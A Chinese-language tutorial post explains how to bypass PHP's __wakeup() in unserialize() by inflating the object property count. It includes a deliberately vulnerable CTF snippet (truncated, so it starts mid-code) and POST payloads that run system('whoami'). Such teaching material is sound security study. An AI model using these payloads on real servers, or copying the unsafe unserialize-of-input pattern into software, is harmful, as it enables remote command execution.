unserialize繞過__wakeup


0x01 unserialize 和 serialize的注意點:

1、__construct():當對象創建(new)時會自動調用。但在 unserialize() 時是不會自動調用的。(構造函數)
2、__destruct():當對象被銷毀時會自動調用。(析構函數)
3、__wakeup():unserialize() 時會自動調用。

0x02 試題:

``` warn); } function __wakeup(){ foreach(get_object_vars($this) as $k => $v) { $this->$k = null; } } } $cmd = $_POST[cmd]; unserialize($cmd); ?> ```

post請求cmd=O:7:"convent":1:{s:4:"warn";s:17:"system("whoami");";},會發現是空白,說明命令並沒有執行

語句改為這樣試試看:cmd=O:7:"convent":2:{s:4:"warn";s:17:"system("whoami");";},發現命令執行成功

這里也說明了__wakeup():unserialize() 時會自動調用

我們在反序列化的時候 可能有時候__wakeup 中會進行一些過濾等等的操作 所以我們需要嘗試繞過

0x03 總結:

繞過的條件:反序列化中object的個數和之前的個數不等

影響版本: PHP5 < 5.6.25, PHP7 < 7.0.10


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM